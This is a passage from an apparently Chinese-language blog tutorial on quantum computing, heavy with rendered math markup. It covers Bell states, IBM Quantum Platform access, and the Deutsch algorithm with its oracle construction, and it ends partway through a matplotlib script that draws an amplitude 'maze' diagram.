fence="true">(</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>10</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\vert{}\psi-\rangle = \frac{1}{\sqrt2}\left(-\vert{}01\rangle+\vert{}10\rangle\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mord">−</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.3831em;vertical-align:-0.538em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.551em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9128em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;">2</span></span><span style="top:-2.8728em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1272em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">−</span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">10</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></td><td style="text-align:center"><img src="2026-07-18-19-47-37.png" alt="psi-"></td></tr></tbody></table><h2 id="ibm-quantum-platform" tabindex="-1" id="IBM-Quantum-Platform">IBM Quantum Platform</h2><p>以 <code>.edu</code> 的 Gmail 註冊還可以獲得 10 分鐘的免費實機額度！<br><a href="https://github.com/academic-initiative/documentation/blob/main/academic-initiative/how-to/How-to-request-and-IBM-Cloud-Feature-Code/readme.md">documentation/academic-initiative/how-to/How-to-request-and-IBM-Cloud-Feature-Code/readme.md at main · academic-initiative/documentation</a></p><h1 id="%E9%87%8F%E5%AD%90%E6%BC%94%E7%AE%97%E6%B3%95" tabindex="-1">量子演算法</h1><p><img src="QA_development.jpg" alt="Quantum Algorithm development"></p><h2 id="deutsch-algorithm" tabindex="-1" id="Deutsch-algorithm">Deutsch algorithm</h2><p>考慮函數 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo>:</mo><mo stretchy="false">{</mo><mn>0</mn><mo separator="true">,</mo><mn>1</mn><mo stretchy="false">}</mo><mo>→</mo><mo stretchy="false">{</mo><mn>0</mn><mo separator="true">,</mo><mn>1</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">f:\{0,1\}\to\{0,1\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mclose">}</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mclose">}</span></span></span></span>，這個演算法能用來判斷 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi></mrow><annotation encoding="application/x-tex">f</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span></span></span></span> 是不是常數函數<br>這個演算法看似很廢(畢竟 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi></mrow><annotation encoding="application/x-tex">f</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span></span></span></span> 也只有 4 種可能)，但作為第一個量子演算法是挺重要的。<br>在古典演算法中需要分別計算 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mn>0</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f(0)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mopen">(</span><span class="mord">0</span><span class="mclose">)</span></span></span></span>、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span>，看他們是否相同才能知道，但在量子演算法中可以只跑一次就知道答案。</p><p>他的線路十分簡單：</p><p><img src="Deutsch_circuit.png" alt="Deutsch circuit"></p><p>圖片來源：<a href="https://www.jonvet.com/blog/math-behind-deutsch-algorithm">Step by step guide to Deutsch’s Algorithm</a></p><h3 id="%E5%87%BD%E6%95%B8-f-%E7%9A%84%E9%9B%BB%E8%B7%AF" tabindex="-1" id="函數-f-的電路">函數 f 的電路</h3><p>中間這個 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>U</mi><mi>f</mi></msub></mrow><annotation encoding="application/x-tex">U_f</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.109em;">U</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.1076em;">f</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span> 要怎麼設計呢？(也就是要如何把 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f(x)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span> 轉換成量子電路？)<br>我們以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mi mathvariant="normal">¬</mi><mi>x</mi></mrow><annotation encoding="application/x-tex">f(x) = \neg x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord">¬</span><span class="mord mathnormal">x</span></span></span></span> 為例</p><p>我們先做出下表：</p><table><thead><tr><th style="text-align:center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi><mi>x</mi></mrow><annotation encoding="application/x-tex">yx</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mord mathnormal">x</span></span></span></span></th><th style="text-align:center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f(x)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span></th><th style="text-align:center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>y</mi><mo mathvariant="normal">′</mo></msup><msup><mi>x</mi><mo mathvariant="normal">′</mo></msup><mo>=</mo><mo stretchy="false">(</mo><mi>y</mi><mo>⊕</mo><mi>f</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo stretchy="false">)</mo><mi>x</mi></mrow><annotation encoding="application/x-tex">y^\prime x^\prime = (y\oplus f(x))x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9463em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">))</span><span class="mord mathnormal">x</span></span></span></span></th></tr></thead><tbody><tr><td style="text-align:center">0 0</td><td style="text-align:center">1</td><td style="text-align:center">1 0</td></tr><tr><td style="text-align:center">0 1</td><td style="text-align:center">0</td><td style="text-align:center">0 1</td></tr><tr><td style="text-align:center">1 0</td><td style="text-align:center">1</td><td style="text-align:center">0 0</td></tr><tr><td style="text-align:center">1 1</td><td style="text-align:center">0</td><td style="text-align:center">1 1</td></tr></tbody></table><p>則我們要設計的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>U</mi><mi>f</mi></msub></mrow><annotation encoding="application/x-tex">U_f</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.109em;">U</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.1076em;">f</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span> 就是滿足</p><table><thead><tr><th style="text-align:center">Input(<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mn>1</mn></msub><msub><mi>q</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">q_1 q_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>)</th><th style="text-align:center">Output(<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>q</mi><mn>1</mn><mo mathvariant="normal">′</mo></msubsup><msubsup><mi>q</mi><mn>0</mn><mo mathvariant="normal">′</mo></msubsup><mo>=</mo><msup><mi>y</mi><mo mathvariant="normal">′</mo></msup><msup><mi>x</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">q_1^\prime q_0^\prime = y^\prime x^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.2481em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-2.4519em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2481em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-2.4519em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2481em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9463em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>)</th></tr></thead><tbody><tr><td style="text-align:center">0 0</td><td style="text-align:center">1 0</td></tr><tr><td style="text-align:center">0 1</td><td style="text-align:center">0 1</td></tr><tr><td style="text-align:center">1 0</td><td style="text-align:center">0 0</td></tr><tr><td style="text-align:center">1 1</td><td style="text-align:center">1 1</td></tr></tbody></table><p>的電路。</p><p>經由簡單的通靈就可以發現 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>U</mi><mi>f</mi></msub><mo>=</mo><mo stretchy="false">(</mo><mi>I</mi><mo>⊗</mo><mi>X</mi><mo stretchy="false">)</mo><mi>C</mi><mi>N</mi><mi>O</mi><mi>T</mi><mo stretchy="false">(</mo><mi>I</mi><mo>⊗</mo><mi>X</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">U_f = (I\otimes X)CNOT(I\otimes X)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.109em;">U</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.1076em;">f</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0785em;">I</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0785em;">X</span><span class="mclose">)</span><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mord mathnormal" style="margin-right:0.1389em;">T</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0785em;">I</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0785em;">X</span><span class="mclose">)</span></span></span></span></p><p>總電路和結果如下：</p><p><img src="2026-07-19-13-31-25.png" alt="circuit"></p><p><img src="2026-07-19-13-31-52.png" alt="P"></p><h3 id="%E6%BC%94%E7%AE%97%E6%B3%95%E6%88%90%E5%8A%9F%E9%97%9C%E9%8D%B5" tabindex="-1" id="演算法成功關鍵">演算法成功關鍵</h3><p>為何這個演算法能成功？這歸功於</p><ol><li>疊加態：演算法可以一次性嘗試很多 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f(x)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span></li><li>相位：可以發生干涉，把不合的消掉</li></ol><p>以上面那個 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mi mathvariant="normal">¬</mi><mi>x</mi></mrow><annotation encoding="application/x-tex">f(x) = \neg x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord">¬</span><span class="mord mathnormal">x</span></span></span></span> 為例，他的 maze 長這樣：</p><p><img src="Deutsch_maze.png" alt="Deutsch maze"></p><details><summary>一樣是 Gemini 寫的生圖扣的</summary><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> matplotlib<span class="token punctuation">.</span>pyplot <span class="token keyword">as</span> plt<span class="token comment"># 定義迷宮方法顏色常數</span>COLOR_MAP <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token string">'blue'</span><span class="token punctuation">:</span> <span class="token string">'#3498db'</span><span class="token punctuation">,</span>    <span class="token comment"># 正實數振幅 (+1)</span>    <span class="token string">'red'</span><span class="token punctuation">:</span> <span class="token string">'#e74c3c'</span><span class="token punctuation">,</span>     <span class="token comment"># 負實數振幅 (-1)</span><span class="token punctuation">&#125;</span>fig<span class="token punctuation">,</span> ax <span class="token operator">=</span> plt<span class="token punctuation">.</span>subplots<span class="token punctuation">(</span>figsize<span class="token operator">=</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 建立 7 個時間點的 X 軸位置 (0 到 6)</span>x_positions <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">]</span>labels <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">]</span>y_positions <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">]</span> <span class="token comment"># 由上至下排列</span>label_to_y <span class="token operator">=</span> <span class="token punctuation">&#123;</span>l<span class="token punctuation">:</span> y <span class="token keyword">for</span> l<span class="token punctuation">,</span> y <span class="token keyword">in</span> <span class="token builtin">zip</span><span class="token punctuation">(</span>labels<span class="token punctuation">,</span> y_positions<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token comment"># 1. 繪製所有的黑點節點</span><span class="token keyword">for</span> x <span class="token keyword">in</span> x_positions<span class="token punctuation">:</span>    ax<span class="token punctuation">.</span>scatter<span class="token punctuation">(</span><span class="token punctuation">[</span>x<span class="token punctuation">]</span> <span class="token operator">*</span> <span class="token number">4</span><span class="token punctuation">,</span> y_positions<span class="token punctuation">,</span> color<span class="token operator">=</span><span class="token string">'black'</span><span class="token punctuation">,</span> s<span class="token operator">=</span><span class="token number">100</span><span class="token punctuation">,</span> zorder<span class="token operator">=</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token comment"># 2. 僅在「最左邊」與「最右邊」標註狀態標籤</span><span class="token keyword">for</span> lbl<span class="token punctuation">,</span> y <span class="token keyword">in</span> <span class="token builtin">zip</span><span class="token punctuation">(</span>labels<span class="token punctuation">,</span> y_positions<span class="token punctuation">)</span><span class="token punctuation">:</span>    ax<span class="token punctuation">.</span>text<span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0.15</span><span class="token punctuation">,</span> y<span class="token punctuation">,</span> lbl<span class="token punctuation">,</span> ha<span class="token operator">=</span><span class="token string">'right'</span><span class="token punctuation">,</span> va<span class="token operator">=</span><span class="token string">'center'</span><span class="token punctuation">,</span> fontsize<span class="token operator">=</span><span class="token number">14</span><span class="token punctuation">,</span> weight<span class="token operator">=</span><span class="token string">'bold'</span><span class="token punctuation">)</span>    ax<span class="token punctuation">.</span>text<span class="token punctuation">(</span><span class="token number">6.15</span><span class="token punctuation">,</span> y<span class="token punctuation">,</span> lbl<span class="token punctuation">,</span> ha<span class="token operator">=</span><span class="token string">'left'</span><span class="token punctuation">,</span> va<span class="token operator">=</span><span class="token string">'center'</span><span class="token punctuation">,</span> fontsize<span class="token operator">=</span><span class="token number">14</span><span class="token punctuation">,</span> weight<span class="token operator">=</span><span class="token string">'bold'</span><span class="token punctuation">)</span><span class="token comment"># 3. 定義每個時間段的箭頭映射關係 (根據量子閘矩陣運算)</span><span class="token comment"># Step 1: X_q1 (0 -> 1) -> 翻轉左位元</span>step1 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token comment"># Step 2: H_q1 H_q0 (1 -> 2) -> 從 10 點分岔出四個狀態，後兩個帶負號(紅)</span>step2 <span class="token operator">=</span> <span class="token punctuation">[</span>    <span class="token punctuation">(</span><span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>    <span class="token punctuation">(</span><span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token punctuation">(</span><span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token comment"># Step 3: X_q0 (2 -> 3) -> 翻轉右位元 (00&lt;->01, 10&lt;->11)</span>step3 <span class="token operator">=</span> <span class="token punctuation">[</span>    <span class="token punctuation">(</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>    <span class="token punctuation">(</span><span class="token 